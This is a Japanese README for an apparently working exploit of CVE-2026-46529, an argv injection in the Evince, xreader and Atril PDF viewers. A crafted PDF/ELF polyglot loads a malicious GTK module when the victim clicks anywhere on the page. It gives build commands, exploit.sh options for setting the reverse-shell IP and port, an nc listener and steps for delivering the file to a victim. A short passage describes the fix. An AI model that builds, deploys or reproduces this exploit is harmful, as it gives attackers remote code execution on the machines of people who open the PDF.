
Evince/xreader/Atril RCE エクスプロイト (CVE-2026-46529)
ev_spawn()(shell/ev-application.c)におけるargvインジェクションの実動するProof-of-Conceptです。細工されたPDFのレンダリングページ上の任意の場所を一度クリックすると、ビューアを実行中のユーザーとして任意のコードが実行されます。
このリリースは%f置換テクニックを使用しています。dlopenターゲットのパスは実行時にビューア自身が解決するため、攻撃者はポリグロットが被害者のファイルシステム上のどこに配置されるかを一切知る必要がありません(ユーザー名も$HOMEもダウンロードディレクトリも不要です)。
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| File | Purpose |
|---|---|
exploit.sh | ワンショットラッパー: 単一のコマンドでコンパイルとポリグロットのビルドを実行します。 |
evil_gtk_module.c | ペイロードのソース。コンストラクタがリバースシェルを開き、/tmp/PWNED_atril_<pid>.txtにマーカーを配置します。 |
build_polyglot.py | ポリグロットビルダー。コンパイル済みのevil.soと、/GoToRアクションおよび%fスマイグルを含む最小限のPDFボディを組み合わせます。 |
ビルドは被害者のアーキテクチャと一致するLinuxホスト上で行う必要があります。evil_gtk_module.cはアーキテクチャ間で移植可能ですが、生成されるELFはアーキテクチャ固有です。macOSはAppleのリンカがGNU build-idフラグを受け付けないため、.soを生成できません。
ev_spawn()は、PDFの/D(名前付き宛先)および/F(ファイル指定)文字列をg_shell_quoteなしで補間してspawnコマンドラインを構築します。その結果はg_app_info_create_from_commandline → g_shell_parse_argvによってargvに再解析されます。/Dに先頭スペースと--gtk-module=...を仕込むと、spawnされた子ビューアが--gtk-module=を単独のargv要素として受け取ることになり、gtk_init()がg_module_open()(すなわちdlopen)経由でそれを解釈します。ロードされたELF内の任意のコンストラクタが被害者として実行されます。
ポリグロットは、有効なPDFでありかつ有効なELF共有ライブラリでもある単一のファイルです。%PDF-1.4マーカーは.note.gnu.build-idのSHA1スロット(オフセット0x1d8)内に刻印されています。popplerはマジックを探すために最初の1024バイトをスキャンするためこれを受け入れ、ld.soはbuild-idの内容が情報目的であるためこれを受け入れます。
%fトリック(本リリース)が最後のピースを埋めます。ポリグロットのパスをPDF内にハードコードする代わりに、glibの%fプレースホルダを埋め込みます。glibのg_app_info_launch_urisは、atrilが実行時にg_path_get_dirname(source_uri) + /F.basename経由で解決したURIのローカルパス形式で%fを置換します。spawnされた子プロセスのargvには最終的に--gtk-module=<実際の実行時パス>が含まれ、dlopenが成功してRCEに至ります。
/Fは単なる<basename>ではなく<basename>?1に設定されています。これは、ev_application_open_uri_at_dest()が、解決された/F URIがソースURIと等しい場合にspawnせずにショートサーキットしてただナビゲートするだけだからです。末尾のクエリ文字列によりURIが異なるものになります。glibのg_filename_from_uriは%fを構築するときにそれを取り除きます。
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
出力: リバースシェルのターゲットが埋め込まれたreport.pdf。同じベースネーム(任意のディレクトリ)で被害者に配備し、リスナーを起動して、atrilで開いてページ上の任意の場所をクリックさせます。
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
/Fに埋め込まれるベースネームは出力ファイル名から派生するため、ポリグロットはreport.pdfとして配備されることを想定しています。ディレクトリは問いません。atrilは%f置換によって実行時にフルパスを解決します。Link注釈はMediaBox全体をカバーするため、任意のクリックでアクションが発火します。マーカーファイルも/tmp/PWNED_atril_<pid>.txtに書き込まれます。
exploit.shの全オプション| -o, --output FILE | 出力PDFパス(デフォルト: polyglot.pdf) |
| --ip IP | リバースシェルのターゲットIP (デフォルト: 127.0.0.1) |
| --port PORT | リバースシェルのターゲットポート(デフォルト: 9000) |
| --cc COMPILER | Cコンパイラ (デフォルト: gcc、env: CC) |
| --keep-so | ビルド後にevil.soを削除しない |
| -h, --help | 使い方を表示 |
クロスコンパイルの例(x86_64ホスト上でaarch64ポリグロットをビルド):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.shを使用しない場合)各ステップを完全に制御したい場合:
あなたのIP/ポートでevil.soをコンパイルします。
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
ポリグロットをビルドします。
python3 build_polyglot.py evil.so <output.pdf>
/Fに埋め込まれるベースネームは出力ファイル名から派生します。同じベースネームでポリグロットを被害者に配備してください。ディレクトリは問いません。atrilが実行時に解決します。
確認済み:
脆弱なコード(ev_spawnと/GoToRオープンパス)は3つすべてに共通しています。evinceのアップストリームにも同じバグがあります。新しいevinceビルドでの唯一の違いは、GTK4が--gtk-module=コマンドラインフラグを廃止したことで、この特定のdlopenシンクが塞がれたという点です。GTK3に対してビルドされたevince(執筆時点のほとんどのLTSディストリビューション)は引き続き脆弱です。
このバグは、ev_spawnのコマンドライン構築が書かれた2010年代前半から存在しています。修正は簡単です。攻撃者が制御するすべてのコンポーネントをg_string_append_printfの前にg_shell_quoteで囲むか、argvをリストとしてg_spawn_asyncに渡す(シェル解析の往復を完全に回避する)ように切り替えます。
ファイル名の維持。 /Fに埋め込まれたベースネームは、トリガー時にポリグロットが被害者のディスク上で持つファイル名と一致している必要があります。被害者が開く前にファイル名を変更した場合、atrilは/Fを存在しないパスとして解決し、dlopenは失敗します。
GTK4。 GTK4に対してビルドされた新しいevinceは--gtk-module=コマンドラインフラグを廃止しており、この特定のdlopenシンクが塞がれています。argvインジェクション自体は依然として存在します。GTK4によって緩和されるのはこの特定の悪用経路だけです。
J.Medeiros